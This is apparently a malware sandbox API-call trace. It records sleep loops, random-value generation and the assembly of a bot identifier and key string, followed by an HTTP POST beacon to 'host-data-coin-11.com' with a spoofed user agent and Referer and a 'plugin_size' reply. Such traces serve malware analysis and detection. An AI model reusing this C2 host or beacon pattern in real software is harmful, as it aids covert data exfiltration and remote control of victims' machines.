Sleep (dwMilliseconds=0x258) [0166.106] Sleep (dwMilliseconds=0x258) [0166.188] Sleep (dwMilliseconds=0x258) [0166.213] Sleep (dwMilliseconds=0x258) [0166.217] Sleep (dwMilliseconds=0x258) [0166.219] Sleep (dwMilliseconds=0x258) [0166.220] Sleep (dwMilliseconds=0x258) [0166.222] Sleep (dwMilliseconds=0x258) [0166.223] Sleep (dwMilliseconds=0x258) [0166.225] Sleep (dwMilliseconds=0x258) [0166.226] Sleep (dwMilliseconds=0x258) [0166.228] Sleep (dwMilliseconds=0x258) [0166.229] Sleep (dwMilliseconds=0x258) [0166.231] Sleep (dwMilliseconds=0x258) [0166.232] Sleep (dwMilliseconds=0x258) [0166.234] Sleep (dwMilliseconds=0x258) [0166.235] Sleep (dwMilliseconds=0x258) [0166.237] Sleep (dwMilliseconds=0x258) [0166.238] Sleep (dwMilliseconds=0x258) [0166.241] Sleep (dwMilliseconds=0x258) [0166.243] Sleep (dwMilliseconds=0x258) [0166.304] Sleep (dwMilliseconds=0x258) [0166.358] Sleep (dwMilliseconds=0x258) [0166.360] Sleep (dwMilliseconds=0x258) [0166.362] Sleep (dwMilliseconds=0x258) [0166.363] Sleep (dwMilliseconds=0x258) [0166.364] Sleep (dwMilliseconds=0x258) [0166.366] Sleep (dwMilliseconds=0x258) [0166.368] Sleep (dwMilliseconds=0x258) [0166.369] Sleep (dwMilliseconds=0x258) [0166.372] Sleep (dwMilliseconds=0x258) [0166.374] Sleep (dwMilliseconds=0x258) [0166.375] Sleep (dwMilliseconds=0x258) [0166.377] Sleep (dwMilliseconds=0x258) [0166.379] Sleep (dwMilliseconds=0x258) [0166.382] Sleep (dwMilliseconds=0x258) [0166.383] Sleep (dwMilliseconds=0x258) [0166.385] Sleep (dwMilliseconds=0x258) [0166.386] Sleep (dwMilliseconds=0x258) [0166.444] Sleep (dwMilliseconds=0x258) [0166.472] Sleep (dwMilliseconds=0x258) [0166.476] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x26) returned 0x471840 [0166.476] CreateFileW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\wvhwbfa" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\wvhwbfa"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff [0166.477] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x509ddf04 [0166.477] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0xb8) returned 0x4718d0 [0166.477] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x9cbebd2d [0166.477] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x1ac5f72a [0166.477] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xb434a85a [0166.477] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x2a4e9c3a [0166.478] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xf0d955e0 [0166.478] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xd986353e [0166.478] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x36c5473a [0166.478] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xc3316feb [0166.478] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xfc42a53b [0166.478] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xa02b943a [0166.478] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x5441133e [0166.478] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x37f1356c [0166.478] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xb2978497 [0166.478] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x84876570 [0166.478] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xccf9411e [0166.478] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x892b199c [0166.478] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xfce76ca3 [0166.478] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x420ee4c0 [0166.478] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xd9376b92 [0166.478] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xc3da55f2 [0166.478] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x1e29a836 [0166.478] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x39a12969 [0166.478] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x2060ab1c [0166.478] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xb49f08b [0166.478] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xea957069 [0166.478] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xf65361a7 [0166.478] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x35bd86b7 [0166.479] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x43eb6d3c [0166.479] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x952b0562 [0166.479] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xddb29c86 [0166.479] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x1470c30c [0166.479] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x89f52729 [0166.479] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x1ac71d97 [0166.479] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x4b095c35 [0166.479] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x4dbf4274 [0166.479] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x72f0e6c [0166.479] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xd90a1e79 [0166.479] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x86c9e6a9 [0166.479] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xace6f483 [0166.479] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x2b10456e [0166.479] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xdeaeee5b [0166.479] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xf740315d [0166.479] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x30576848 [0166.479] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xcea7900e [0166.479] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x133b1353 [0166.479] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xca5966d1 [0166.479] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xf1ba98fa [0166.479] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xd61853ed [0166.479] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xa13486cd [0166.479] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xad460703 [0166.479] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xa878c43 [0166.479] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xcb11ceb2 [0166.479] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xbb42617c [0166.479] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x422ded95 [0166.479] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x5c10480a [0166.480] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xbced8bad [0166.480] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x4c7eb9fc [0166.480] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x781eed1e [0166.480] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xb69fdacd [0166.480] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xfb84a2f7 [0166.480] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xa47c243e [0166.480] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xd0c91583 [0166.480] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x6649b3ca [0166.480] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x9adcb83d [0166.480] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xf9ac839 [0166.480] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xd3bb6656 [0166.480] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x1a0f5db7 [0166.480] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xc28cf462 [0166.480] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x4914255d [0166.480] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xe116484c [0166.480] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xe0ac7638 [0166.480] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x763537e6 [0166.480] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xea496846 [0166.480] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x92d3f79e [0166.480] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x83507b7e [0166.480] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x82faea92 [0166.480] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xf0980713 [0166.480] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xefab24d9 [0166.480] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x2596af50 [0166.480] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x1d6cd972 [0166.480] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xd59be910 [0166.480] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x932666f3 [0166.480] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xcd58d14a [0166.480] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x5bf6add0 [0166.480] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xa504cd78 [0166.480] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xe543a21f [0166.480] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xbd01c162 [0166.480] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x30cb1774 [0166.481] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x1c5b1cf4 [0166.481] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x3b06456 [0166.481] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x725b9207 [0166.481] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xbba72d3e [0166.481] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x5c08eb9b [0166.481] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xb22f3ce6 [0166.481] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x46e72f53 [0166.481] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x34ae6f0b [0166.481] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x83a2b983 [0166.481] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x496b9a9e [0166.481] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xcfb9ef3b [0166.481] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x685d9fae [0166.481] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x488971d2 [0166.481] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x79ab6a0f [0166.481] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xd314dbf4 [0166.481] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xaa487a5f [0166.481] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x7976a364 [0166.481] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x623394ea [0166.481] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x90cc7a99 [0166.481] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x6ff1d47a [0166.481] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xfbb5995 [0166.481] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x35dffa9a [0166.481] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x12678abb [0166.481] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xc34b8aa5 [0166.481] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x5d0380ad [0166.481] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x3ca8c7d7 [0166.481] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xfb080621 [0166.481] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xf87943be [0166.481] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x52ff790d [0166.481] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xfee0d530 [0166.481] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x8b422748 [0166.481] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x3a3ad5c0 [0166.481] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x4836e409 [0166.481] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xc4dde873 [0166.482] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x3101e087 [0166.482] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x66052ceb [0166.482] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x53fe5d79 [0166.482] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xa2327f11 [0166.482] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xc6ec6615 [0166.482] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x2b3f0e1d [0166.482] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xbade034b [0166.482] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x1cf842f6 [0166.482] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xb55a43ca [0166.482] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x109dfb1 [0166.482] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xb66465c5 [0166.482] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x1a76944b [0166.482] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xfa2c52b1 [0166.482] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x32640ce2 [0166.482] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x8477a3fa [0166.482] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x7a42b2ba [0166.482] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xd98fac48 [0166.482] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x234d38fa [0166.482] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xe6ad2998 [0166.482] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xce5b7490 [0166.482] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xcd1eaefa [0166.482] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xf3317418 [0166.482] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x1cb7ad52 [0166.482] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x4713bfd1 [0166.482] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x1ffd06e4 [0166.482] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x9f72ce90 [0166.482] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x9592ee20 [0166.482] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x19f330f0 [0166.482] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x98cb39b0 [0166.482] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x38b61014 [0166.482] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xca523a80 [0166.482] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x3fe348f0 [0166.482] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x55aca7b [0166.482] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x2d054e2b [0166.482] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xae451551 [0166.482] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xd06c5956 [0166.482] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x8da9dc11 [0166.483] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xd1ec9a52 [0166.483] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x457f4202 [0166.483] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xe6557f55 [0166.483] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xbe321d80 [0166.483] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x398cbb3d [0166.483] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x149f3448 [0166.483] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x89fa1710 [0166.483] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x68d4d70d [0166.483] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xb1e603e7 [0166.483] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x3eda5844 [0166.483] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x68b9cb13 [0166.483] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xab5c4329 [0166.483] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xafe7cb06 [0166.483] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xbd686c7d [0166.483] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xe411e01 [0166.483] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x224e0d11 [0166.483] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x107) returned 0x471990 [0166.483] lstrcatA (in: lpString1="", lpString2="FE7F15060B875FB9FB2A49F08D5D03120C287F38" | out: lpString1="FE7F15060B875FB9FB2A49F08D5D03120C287F38") returned="FE7F15060B875FB9FB2A49F08D5D03120C287F38" [0166.483] lstrcatA (in: lpString1="", lpString2="XC64ZB" | out: lpString1="XC64ZB") returned="XC64ZB" [0166.483] lstrcatA (in: lpString1="", lpString2="pub3" | out: lpString1="pub3") returned="pub3" [0166.483] lstrcatA (in: lpString1="", lpString2="XA+aO15bP%5sx!eOpq]q)R-jl8pc+kuxl4?wB><=D$Yc0PCBxj(aWPgP9-\\ro?D:(jy%KC[Y#k-m:G)I1oa5#N6lY(cWnsX3'RJO^h!^&F" | out: lpString1="XA+aO15bP%5sx!eOpq]q)R-jl8pc+kuxl4?wB><=D$Yc0PCBxj(aWPgP9-\\ro?D:(jy%KC[Y#k-m:G)I1oa5#N6lY(cWnsX3'RJO^h!^&F") returned="XA+aO15bP%5sx!eOpq]q)R-jl8pc+kuxl4?wB><=D$Yc0PCBxj(aWPgP9-\\ro?D:(jy%KC[Y#k-m:G)I1oa5#N6lY(cWnsX3'RJO^h!^&F" [0166.483] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x10c) returned 0x471aa0 [0166.483] lstrlenA (lpString="http://host-data-coin-11.com/") returned 29 [0166.483] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x471840, cbMultiByte=30, lpWideCharStr=0x471aa0, cchWideChar=60 | out: lpWideCharStr="http://host-data-coin-11.com/") returned 30 [0166.484] WinHttpGetIEProxyConfigForCurrentUser (in: pProxyConfig=0xfd4fc18 | out: pProxyConfig=0xfd4fc18) returned 1 [0166.573] WinHttpOpen (pszAgentW="Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko", dwAccessType=0x0, pszProxyW=0x0, pszProxyBypassW=0x0, dwFlags=0x0) returned 0x861fcc0 [0166.616] WinHttpCrackUrl (in: pwszUrl="http://host-data-coin-11.com/", dwUrlLength=0x0, dwFlags=0x0, lpUrlComponents=0xfd4fcd0 | out: lpUrlComponents=0xfd4fcd0) returned 1 [0166.617] WinHttpConnect (hSession=0x861fcc0, pswzServerName="host-data-coin-11.com", nServerPort=0x50, dwReserved=0x0) returned 0x86c93f0 [0166.617] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x12) returned 0x471bc0 [0166.617] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x68) returned 0x471be0 [0166.617] WinHttpOpenRequest (hConnect=0x86c93f0, pwszVerb="POST", pwszObjectName="/", pwszVersion=0x0, pwszReferrer=0x0, ppwszAcceptTypes=0x0, dwFlags=0x0) returned 0x5773880 [0166.618] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x4e) returned 0x471c50 [0166.619] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x10d) returned 0x471cb0 [0166.619] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x61411022 [0166.619] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x12) returned 0x471dd0 [0166.619] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x17) returned 0x471df0 [0166.619] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xc9afce5a [0166.619] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xd4dfd554 [0166.619] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xfb7b090 [0166.619] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x9ddfb1d7 [0166.619] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xdb022ece [0166.619] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xd2c45342 [0166.619] wsprintfW (in: param_1=0x471cb0, param_2="Accept: */*\r\nReferer: http://%S%s/" | out: param_1="Accept: */*\r\nReferer: http://hdrif.net/") returned 39 [0166.619] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x471df0) returned 0x17 [0166.619] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x471df0) returned 1 [0166.619] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x471dd0) returned 0x12 [0166.619] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x471dd0) returned 1 [0166.619] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x471c50) returned 0x4e [0166.620] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x471c50) returned 1 [0166.620] WinHttpAddRequestHeaders (hRequest=0x5773880, pwszHeaders="Accept: */*\r\nReferer: http://hdrif.net/", dwHeadersLength=0xffffffff, dwModifiers=0x20000000) returned 1 [0166.620] WinHttpSendRequest (hRequest=0x5773880, lpszHeaders="Content-Type: application/x-www-form-urlencoded", dwHeadersLength=0x0, lpOptional=0x471990*, dwOptionalLength=0xfe, dwTotalLength=0xfe, dwContext=0x0) returned 1 [0168.045] WinHttpReceiveResponse (hRequest=0x5773880, lpReserved=0x0) returned 1 [0168.045] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x2800) returned 0x471dd0 [0168.045] WinHttpReadData (in: hRequest=0x5773880, lpBuffer=0x471dd0, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fd88 | out: lpBuffer=0x471dd0*, lpdwNumberOfBytesRead=0xfd4fd88*=0x18) returned 1 [0168.048] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0x471dd0, Size=0x5000) returned 0x471dd0 [0168.049] WinHttpReadData (in: hRequest=0x5773880, lpBuffer=0x471de8, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fd88 | out: lpBuffer=0x471de8*, lpdwNumberOfBytesRead=0xfd4fd88*=0x0) returned 1 [0168.049] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x440000 [0168.051] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x471dd0) returned 1 [0168.051] WinHttpCloseHandle (hInternet=0x5773880) returned 1 [0168.051] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x471cb0) returned 0x10d [0168.051] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x471cb0) returned 1 [0168.052] WinHttpCloseHandle (hInternet=0x86c93f0) returned 1 [0168.052] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x471be0) returned 0x68 [0168.052] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x471be0) returned 1 [0168.052] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x471bc0) returned 0x12 [0168.052] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x471bc0) returned 1 [0168.052] WinHttpCloseHandle (hInternet=0x861fcc0) returned 1 [0168.052] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x471aa0) returned 0x10c [0168.052] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x471aa0) returned 1 [0168.053] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x4718d0) returned 0xb8 [0168.053] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x4718d0) returned 1 [0168.053] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x471990) returned 0x107 [0168.053] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x471990) returned 1 [0168.053] lstrlenA (lpString="ä\x070|:|plugin_size=0") returned 19 [0168.053] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x15) returned 0x4718d0 [0168.053] lstrlenA (lpString="0|:|plugin_size=0") returned 17 [0168.053] lstrlenA (lpString="plugin_size") returned 11 [0168.053] atoi (_Str="0") returned 0 [0168.053] lstrlenA (lpString="0|:|plugin_size=0") returned 17 [0168.053] lstrlenA (lpString="|:|") returned 3 [0168.054] MapViewOfFile (hFileMappingObject=0x19ac, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x8fd0000 [0168.066] lstrcatA (in: lpString1="", lpString2="plugin_size=0" | out: lpString1="plugin_size=0") returned="plugin_size=0" [0168.066] NtUnmapViewOfSection (ProcessHandle=0xffffffffffffffff, BaseAddress=0x8fd0000) returned 0x0 [0168.096] atoi (_Str="0") returned 0 [0168.097] VirtualFree (lpAddress=0x440000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0168.098] RtlSizeHeap 